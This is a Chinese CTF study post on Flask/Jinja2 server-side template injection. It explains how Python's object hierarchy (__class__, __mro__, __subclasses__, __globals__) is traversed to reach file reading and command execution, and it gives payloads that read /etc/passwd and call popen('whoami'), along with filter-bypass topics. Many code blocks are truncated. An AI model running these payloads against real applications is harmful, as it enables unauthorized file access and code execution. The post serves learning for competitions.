前两天去打一个线下赛被无情吊打,全体自闭。虽然大家基本都不是靠做题得的分,但web题是一道python的flask ssti。当时做的很慢。所以决定整理一下相关利用思路及绕过过滤的方法。
首先就是发现漏洞点,其实python的题一般也就是考这个了,试试404页面,或者其他返回用户输入的地方。输入或者算术式观察结果就行了。有时候是利用secret_key等信息泄露,这篇文章主要讲一些文件读取或命令执行的方法。
首先先丢几个常见的payload。因为这就是我以前做题的第0步:找一堆payload挨个试(
1 | ''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read() |
好像差不多,又好像不太一样,但是也不知道怎么来的也不知道怎么改。不过拆开来看其实还是有规律的。
最开始可能不知道一堆下划线在干嘛,先总结一下:
用到的主要有三种数据类型,函数、类、模块
函数具有__globals__属性,返回一个字典当前函数全局空间的模块、函数及变量
类有__dict__属性,是一个字典,包含的类型有函数等
模块有__dict__属性,是一个字典,包含的类型有模块、函数、字典、类等,看区别:
1 | type(i) for i in object.__subclasses__()[59].__dict__.values()] #类的dict内容 [ |
__builtins__是一个字典,包括已经被加载到内存中的函数
类.__subclasses__() 一个内置函数,返回类的所有子类
其实python中函数、模块本质都是一个对象,所以有些函数也可以调用__dict__方法,但可能就是空的
所以可以理解为几个if else,查找可利用的函数(popen、system等)及模块(os、sys等):
1 遇到函数就访问__globals__
2 遇到类就查看__dict__,查看可用的函数或跳转到1
3 遇到模块就查看__dict__,查看可用的模块函数等等,可以继续跳转到123
知道了这些基本原则后,要有一个出发点,在命令行中可以直接调用object对象。不能直接调用object的话有以下方法:
1、从一个容易获得的对象实例入手
2、寻找它的基类来找到object对象
3、遍历object对象的子类并从中寻找可以利用来执行命令的函数/模块。
那么就一步一步来分析这个过程。
就按照上面分的点来拆开分析:
1、一个容易获得的对象实例
我们需要利用这个对象来找到基类object,因为python3中object是一切对象的父类,所以只要有个对象就行了。最方便的就是内置对象比如字符串、列表、元组、字典等等。所以最开始的部分就是’’、[]、()、{}或其他能访问到的对象实例。
2、寻找object基类
以字符串为例,’’.__class__指向该实例对应的类,__class__功能和type函数一样,都是查看实例所在的类。’’.__class__属于type类,而type的父类是object。通过__base__方法或__mro__方法得到object类。
1 | type('') |
3、遍历object对象的子类并从中寻找可以利用来执行命令的函数。
首先获取object类的子类
1 | object.__subclasses__() |
这里的结果是一个列表,列表内是所有class(python3)或type(python2)。而python2中object子类中包含file类,所以就有了上面的第一个payload
1 | >>> ''.__class__.__mro__[-1].__subclasses__()[40] |
另外还有一个直接的pyaload,利用builtin_function_or_method类的__call__方法调用eval,但一般内置的eval会被删除:
1 | "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') |
python3中移除了file类,所以需要找另外的方法。python中的函数有一个__globals__魔法方法,函数名.__globals__会返回一个当前语境空间下能使用的模块,方法和变量的字典。这样就可以无中生有再找到许多能利用的模块或函数。但这个方法的前提是要有个函数(或者method),而有些类会有__init__、__enter__、__exit__等内置函数。写个程序找一下满足条件的类:
1 | l = len(object.__subclasses__()) |
找到这些类就有了一条链:类.函数.__globals__,之后就可以在globals中找可以执行命令的函数或者相关的库,获取到globals字典后,可以利用的方式大概分为这几种:
1 | 1)class.func.__globals__[目标函数/模块] |
然后可以选择套娃,在globals中其他函数/类的函数的globals中再找,比如class.func.__globals__[函数].__globals__[目标函数/模块],class.func.__globals__[模块].__dict__[模块].__dict__[目标函数/模块],从globals中的某个类再遍历子类等等,又会有很多,但是意义就不是很大。
最开始也可以递归遍历所有子类,会比直接object.__subclasses__()得到更多的类:
1 | def get_all_subclasses(cls): |
这样会找出一些比较深的利用链,比如os._Environ类的继承链
1 | <class 'object'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Collection'>, <class 'collections.abc.Mapping'>, <class 'collections.abc.MutableMapping'>, <class 'os._Environ'>: |
1 | object.__subclasses__()[103].__subclasses__()[2].__subclasses__()[1].__subclasses__()[0].__subclasses__()[0].__init__.__globals__['popen']('whoami').read() |
当然好像也并没有什么用处(
写了个脚本,按照上面三类方法查找所有可利用的payload:
1 | func_cls_dict = {} |
只从object基类的子类中寻找,有300多种可用payload。不过其实用最基础的就够了,因为一般不会针对类名去进行过滤,而是针对一些特殊符号来进行过滤。接下来总结一下绕过过滤的方法:
1 | 1)过滤方括号 |
参考链接
https://xz.aliyun.com/t/2308
https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/#0x05-%E7%BB%93%E5%90%88Flask%E5%92%8CJinja2%E7%89%B9%E6%80%A7%E7%9A%84%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%8A%80%E5%B7%A7
https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93
https://www.anquanke.com/post/id/188172
https://0day.work/jinja2-template-injection-filter-bypasses/
https://p0sec.net/index.php/archives/120/